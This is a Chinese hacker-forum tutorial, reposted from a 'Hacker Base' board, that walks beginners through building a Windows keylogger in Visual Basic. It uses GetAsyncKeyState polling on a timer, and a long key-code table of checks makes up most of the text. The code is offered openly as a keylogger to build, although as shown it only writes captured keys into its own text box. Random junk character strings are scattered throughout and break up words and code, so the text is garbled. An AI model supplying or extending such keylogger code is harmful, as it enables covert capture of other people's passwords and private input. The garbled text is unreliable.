手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 ! [, p2 n; T- v ~3 v/ h X2 w! r+ H版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 ; L+ _" C; y1 Q很详细，再也不像那篇，出了代码什么也没 ^!^ . }4 k0 R' \# r$ f1 ^9 C这个程序将会详细的讲解如何记载键盘的每一次输入。 7 l; @8 U! V6 G( m下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 5 J; C V9 ~+ Q, l' ~GetAsyncKeyState函数根据虚拟键表判断按键的类型。 8 K9 W0 @# n* P8 Z- K7 @% ^返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： " s9 @1 s0 V, v7 ]" C2 vPrivate Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了 ! z6 o! e$ g# m `first,当然是创建窗口了 9 u1 L2 y. W" v! R: { % t8 R% \6 c8 T( O' ]9 o. x" g 6 V4 h6 X8 |/ _6 n2 \ 在时间控件的Timer时间中定义检查按键类型，代码如下： : f2 E$ X' T2 q y- G, d: A% l6 NDim AddKey KeyResult = GetAsyncKeyState(13) '回车键 : S: s; ?/ i' T' N5 C If KeyResult = -32767 Then 7 H: z$ V! @: d0 K6 { AddKey = "[ENTER]" GoTo KeyFound End If ! Z" |4 t5 {5 I5 b ]5 ?& R# y KeyResult = GetAsyncKeyState(17) 'Ctrl键 * _1 G# ?5 `, |- f( C' j1 w# U If KeyResult = -32767 Then AddKey = "[CTRL]" GoTo KeyFound % H* L4 [; S. F7 ~ End If 7 i& g( [/ o% H8 \ KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then AddKey = "[BKSPACE]" GoTo KeyFound " g" @7 H2 [2 \& Q" e9 F' U% n End If 9 w) D0 c+ N! ]% e KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then " i" Z" A$ i+ x7 R' y AddKey = "[TAB]" & I6 k# J1 B, r GoTo KeyFound 2 V! \; t4 {- O& f2 x$ H End If # P4 a7 F+ l6 h4 e! w ' H& {( M0 T \6 B# o S& l KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then AddKey = "[ALT]" 9 N. q: G/ m6 E4 L) {* @ GoTo KeyFound End If . f5 f- W" F9 C' T4 P KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then 0 G& A% K3 D& J8 X( t AddKey = "[PAUSE]" # W0 s* z$ e/ o! p$ z GoTo KeyFound ' U5 Y! F2 c4 l) [! W) \ End If ' Y1 e9 I l+ G8 _7 W @ KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then AddKey = "[CAPS]" 5 X9 O$ q3 N7 B2 Y# W/ E( x GoTo KeyFound End If 2 W6 A* s! h6 j- x4 u7 j, s- W KeyResult = GetAsyncKeyState(27) $ w( W7 Q1 p4 O If KeyResult = -32767 Then AddKey = "[ESC]" ! C' q+ f, x- U4 K4 f+ w GoTo KeyFound / {* z) J7 G! ~4 W w" `8 }" I4 u End If : a4 Q- T1 P4 f5 u. V0 q; C" d KeyResult = GetAsyncKeyState(33) % T C% X6 z4 @) _2 U. L ?* g If KeyResult = -32767 Then AddKey = "[PGUP]" GoTo KeyFound & ?' z* P8 {: H: J/ d2 M Y End If ! ~% ^3 f2 M H e8 ^' U: [. G$ Q! U$ {4 I KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then 8 c5 G( s% D, g" }* \ AddKey = "[PGDN]" ; J+ y( H' C) |+ P1 j GoTo KeyFound End If 6 A6 |3 m) j, ~# t KeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then 9 r+ x! R2 ^4 v) A. I AddKey = "[END]" 4 g2 k, ^' C' D! r5 G" [ GoTo KeyFound 1 O( P9 R' v( E/ g5 O6 q. `% P End If KeyResult = GetAsyncKeyState(36) + h9 k4 v7 P4 w% [& G N8 a# p$ w If KeyResult = -32767 Then ' [6 E* L2 b! t* K AddKey = "[HOME]" GoTo KeyFound End If " t5 O' H; Q: @4 P0 K% d' m KeyResult = GetAsyncKeyState(44) # [0 [9 o0 x r If KeyResult = -32767 Then AddKey = "[SYSRQ]" GoTo KeyFound End If ' s3 ^& L7 y, x6 D$ [: B KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then 3 O. k' Q$ W$ ^5 C- R& E; F' f AddKey = "[INS]" - i' Z9 @* i; k' d GoTo KeyFound 6 ^2 p0 O9 L+ y$ w) W7 G End If KeyResult = GetAsyncKeyState(46) 5 b4 {; |0 x& W If KeyResult = -32767 Then AddKey = "[DEL]" GoTo KeyFound End If 2 F2 L6 f# r% `6 ]0 U6 }# M% | KeyResult = GetAsyncKeyState(144) * g; p% x" e7 d, x( B( } If KeyResult = -32767 Then 5 u! O# \3 ^& P. F( }) A% }& T5 a AddKey = "[NUM]" GoTo KeyFound 2 ~" R) f* r2 I( b* M; a End If KeyResult = GetAsyncKeyState(37) 3 m. [! A% x8 D* A( {& ] If KeyResult = -32767 Then & M1 j+ e/ L! {) s AddKey = "

" GoTo KeyFound # s4 F: t# K1 ~* p4 L# V End If $ h9 [- ]( ^* x! y" |6 ^% D" W& i KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then ' o0 V1 U5 K+ K/ e% B2 S. o AddKey = "[UP]" 6 i; P8 T! ~0 c( l- @7 d GoTo KeyFound 1 O0 w0 S1 K: z0 P2 h* T1 \ End If " D- g* s. f S4 N' F6 w% e 6 m' S0 H4 {7 X, a6 T1 Z# l KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then + A8 ~4 G9 J0 G6 o/ v" E! h AddKey = "

" GoTo KeyFound End If $ f0 U& }" b& u2 q/ D+ _" J KeyResult = GetAsyncKeyState(40) ' {; M- `; F5 V7 q# Y4 X If KeyResult = -32767 Then AddKey = "[DOWN]" GoTo KeyFound End If , q# q0 i- T$ d. e1 s ( K: {( r, _* c. t' r5 z0 j$ _KeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound + D/ L9 {. ^. k; h, l End If / X- A1 ^$ A' Z- |) t KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then " a. z8 E+ v; ^" e8 @3 X1 x* e AddKey = "[F2]" GoTo KeyFound End If + c1 M8 ? W9 m% \! m KeyResult = GetAsyncKeyState(114) 7 x a% X3 l" v- R If KeyResult = -32767 Then ' K# R0 A! ~& E& I4 N7 e AddKey = "[F3]" GoTo KeyFound : r: H. ?$ d) a" A End If 6 d7 P! f' }! \ KeyResult = GetAsyncKeyState(115) ( p8 Z4 p% B; X- ^( f If KeyResult = -32767 Then AddKey = "[F4]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(116) $ k3 e; f7 Y8 h! y7 _+ z$ b If KeyResult = -32767 Then AddKey = "[F5]" GoTo KeyFound 4 I$ E2 I* t1 m/ K/ Q9 z! W# g7 n End If KeyResult = GetAsyncKeyState(117) 9 ^( U* W/ J) ?4 e; Q3 T U If KeyResult = -32767 Then 4 O( v- z9 Y! V. I7 Q+ {' Q. n AddKey = "[F6]" % `3 Q7 H% M% y. o1 }- X GoTo KeyFound End If 7 k0 \, z6 J) O6 d X+ e) N: Q$ R KeyResult = GetAsyncKeyState(118) , q" t% m, Z# p If KeyResult = -32767 Then 7 ?3 o; n! o% X' U AddKey = "[F7]" GoTo KeyFound 5 I Z% J* M% }% E" Y End If 4 [1 ]% P! k* r4 o$ O: DKeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = "[F8]" : E* d: [3 a$ H. P+ {5 ?! @5 D4 F GoTo KeyFound ( a1 A! ~ n% C/ S+ c End If KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then & M8 e( t# _- t3 `3 {( S7 q AddKey = "[F9]" GoTo KeyFound 6 X# I% j" N1 N* T( L" E# K End If ; ^) w; r; ?0 @: P2 _0 } KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]" GoTo KeyFound ! `, o4 e& y9 K) W- F" @7 m. k" ] End If KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then 4 S& e, l3 ]) \% g' ? AddKey = "[F11]" 8 ^/ h. p# z! b6 z2 I GoTo KeyFound End If 1 g1 C# Y5 J' y) t& {# WKeyResult = GetAsyncKeyState(123) # F! N4 n# U; |! Y* T1 k$ g% d& }% O If KeyResult = -32767 Then AddKey = "[F12]" GoTo KeyFound End If 9 }- D/ }7 c- t; U# f+ B' Q; { / A- G5 H/ j$ |0 v. nKeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound ) M1 |. e3 B, D( l4 U7 {& V End If 6 I9 R4 a& K- k! h3 p& P6 K) g% cKeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = "[F14]" GoTo KeyFound ; n" z3 ]5 x6 b* Q' K8 I8 V End If # C* O* _0 z, c- q3 r+ D: A . N( D" j8 M* t& H* @; WKeyResult = GetAsyncKeyState(126) * b5 ^( ^: i _: g, c( v/ Y6 W If KeyResult = -32767 Then AddKey = "[F15]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(127) / l' f1 Z' i) v3 r% a P, X If KeyResult = -32767 Then AddKey = "[F16]" % `9 R0 i: k' o" W* w P GoTo KeyFound End If KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " " + H7 T: M% k! o1 F GoTo KeyFound 2 m. I% S7 L# A End If ! t: F7 t# v" D+ M$ HKeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";" GoTo KeyFound End If ( i% ], B6 x# j# D0 I9 E ' o" w( }* h' ~" r1 s6 WKeyResult = GetAsyncKeyState(187) $ G; C' O) j( W; C4 k/ ^5 y" f b( | If KeyResult = -32767 Then % v$ G a' g s/ b% Z* F- v AddKey = "=" 0 V E, {. ^' |. e GoTo KeyFound End If : q1 A) E3 B, KKeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then * d" y. T/ L. T AddKey = "," GoTo KeyFound End If / z' g8 S- j0 V * j0 k) X. G+ r3 B; cKeyResult = GetAsyncKeyState(189) 3 [# p& `+ z9 X( D$ q' M If KeyResult = -32767 Then " W4 [" X! N. @) T! U AddKey = "-" ! a/ M- G9 D j2 X9 ^ GoTo KeyFound End If % e5 W7 q- I% l. a: t0 {8 Q' H KeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then $ \9 V% i/ x. T) @ AddKey = "." GoTo KeyFound End If 5 v8 p: l$ x. {) {1 m) S7 W KeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then : ~, ^! x& w- F- J9 ] AddKey = "/" '/ GoTo KeyFound }! u$ J9 \/ C# q2 w9 {0 x End If : s$ D" c) F$ T$ J( K$ T KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then / b) Z3 }2 Y/ [! D1 n" }' q AddKey = "`" '` GoTo KeyFound End If : D. \& h8 [# S; y- I '----------NUM PAD 1 {7 h' e% {$ P% ~3 RKeyResult = GetAsyncKeyState(96) , I$ J: U$ V9 X, v3 ^. ?8 R If KeyResult = -32767 Then AddKey = "0" GoTo KeyFound End If # h$ p; {/ L' O* P8 m KeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then : S# c8 y2 x+ j8 }5 i* \+ J AddKey = "1" E, g& i4 }. T7 X; D5 E+ J3 h GoTo KeyFound End If , v2 |4 F! n- p 7 N; w e5 k) L- K: n3 F! w% ~ 4 ^/ X, Z& R+ L4 y1 l3 ~KeyResult = GetAsyncKeyState(98) c/ L( {3 s0 y* Y/ S If KeyResult = -32767 Then AddKey = "2" ) J! |1 l6 F+ w5 z+ w& ]1 j$ u" e GoTo KeyFound % g/ s6 u Z; W End If $ E3 ~2 s( h; c* G # S. Y& S/ A E4 c" J7 cKeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = "3" 0 Z7 z& q0 @9 N+ d4 M GoTo KeyFound ; {2 c/ W i1 K$ ]3 }$ ~ End If # q: j8 [7 M! d$ R 8 k0 u2 ^; ~( k6 PKeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then " v- I' U$ R5 j" p9 {, I5 L AddKey = "4" ( O! v0 |6 K, g GoTo KeyFound End If KeyResult = GetAsyncKeyState(101) 1 v# T* p& i7 q9 v' Q8 p% Q. t If KeyResult = -32767 Then - S" ~/ l0 ~. t8 ` AddKey = "5" GoTo KeyFound 1 ?) v3 p0 {& [9 ~! Y End If " E$ \9 U0 E8 i8 IKeyResult = GetAsyncKeyState(102) " v* c1 I; o/ Q1 h; f If KeyResult = -32767 Then AddKey = "6" & I5 S4 |+ _8 ^1 D GoTo KeyFound End If 5 W8 @" H3 f! l' X' W1 Q. ^ " J# Z( f9 J' xKeyResult = GetAsyncKeyState(103) 0 T1 d$ S- l9 ~ C' \ If KeyResult = -32767 Then 9 F1 n# e- w/ X; Y* f) x/ J) S% ~6 _ AddKey = "7" GoTo KeyFound End If - o1 j. T. @% H! ^& W3 c . J9 `2 W8 r4 ]8 O6 sKeyResult = GetAsyncKeyState(104) 0 V% \: d' a7 I2 a6 @ If KeyResult = -32767 Then AddKey = "8" GoTo KeyFound End If ) N1 l! u3 w' [ ! Y5 @5 F1 ^2 [7 `6 `5 j# GKeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then . a" ^2 F5 j) w4 D, T AddKey = "9" 6 v( w8 O: D! F GoTo KeyFound 6 h/ a5 M' Z) R& D8 | End If , J; @3 `% _6 {- b* @8 K/ x7 c5 q 4 J: R" w3 a3 q2 v+ t4 n; a' OKeyResult = GetAsyncKeyState(106) 9 o1 v7 ?9 O0 u5 ]4 K: s- a If KeyResult = -32767 Then # t& z2 g- `4 u/ D! n2 u AddKey = "*" 5 \% ]/ e! g t, p GoTo KeyFound End If KeyResult = GetAsyncKeyState(107) 4 w6 z- h7 F% b" g; D If KeyResult = -32767 Then AddKey = "+" GoTo KeyFound 8 u" S/ N7 T& n( I End If KeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then 7 ~ |; [! ?1 S7 c! y4 x AddKey = "[ENTER]" 4 _* i9 s1 u; e; l0 a' w GoTo KeyFound 1 V5 B& D7 ?% Q2 E2 y End If & |3 V2 G" z) S8 w* R& a! C. F! Y KeyResult = GetAsyncKeyState(109) 5 K% V& S8 {" l( \8 P If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If 1 A- e; h+ w* R" |' v$ Z KeyResult = GetAsyncKeyState(110) 3 l( S0 V+ _. S5 z If KeyResult = -32767 Then : `; O- V4 V' q5 J5 o v" x AddKey = "." GoTo KeyFound ! |/ N6 a; w, g0 }0 T End If 6 F- {. A& X9 r k 7 Q7 ~, h: W& {5 i6 a ]KeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/" ' j4 V1 } d, t7 x/ ` GoTo KeyFound # q% i% x+ S2 ^; x7 c. m End If ' a) t [) L8 q) |8 D: n) JKeyResult = GetAsyncKeyState(220) 3 Z. I- c P" Z( U s8 e If KeyResult = -32767 Then & J2 H L+ z/ ]1 J1 N3 n- v AddKey = "\" ' x& ^3 ]/ s/ I" p9 s GoTo KeyFound End If 9 m* n8 [0 `. i1 p, \KeyResult = GetAsyncKeyState(222) . Z" G, ^" ^0 Y9 P: Z If KeyResult = -32767 Then AddKey = "'" & ^" P- s# c8 g7 ]3 m/ w' d% v GoTo KeyFound End If 4 e7 z" [) y: T7 q0 T3 h% X/ N, [ KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then AddKey = "]" . |: l4 l( ~# K0 P; m4 l 7 U, @: V5 ~' U. ?4 n1 _ GoTo KeyFound End If 2 {3 B- z# K' P8 l' r 3 C5 h6 U# M. ?6 DKeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then - O" t7 V7 {2 x0 ~+ t AddKey = "[" GoTo KeyFound 7 @" z" x( C5 T1 u4 n! \2 O; ] End If ' b5 u& t- L8 s; V/ M8 H" CKeyResult = GetAsyncKeyState(16) 'shift键 & C/ i- r* p4 r6 g/ [, X- N If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" _- s6 R- C8 p6 t LastKey = AddKey / I0 \+ l( ~ e2 R. J, o8 r TimeOut = 1 . `1 T3 R( y; u3 K$ j3 r9 W GoTo KeyFound End If ' p: F. w" V# ?& ~& _( A KeyLoop = 41 / i' Q h* P6 X/ O: N |: ^" i Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 Loop : c( S) {, a6 P7 j' u6 _/ w LastKey = AddKey # R" ?/ P2 m6 I; C: n: @ Exit Sub ) `* n" B9 C5 v+ g5 J! b1 n" }KeyFound: '显示键的信息 * _, V1 C6 |# p* MText1 = Text1 & AddKey End Sub - ]0 M: q8 m# K' W3 }7 i上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… ! B3 V% s5 C% {' w# H) ^) W# e0 ^$ {由于数目太多，一一列举不方便 现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 ( r Y' Q' `5 I6 D) F& o1 j4 M9 b+ P2 lPrivate Sub Timer2_Timer() : R/ Q9 v I7 V3 n% mTimeOut = 0 ) v/ c. }8 r$ V3 lEnd Sub 2 M( |' |# o/ f: P+ O目的是随时刷新清空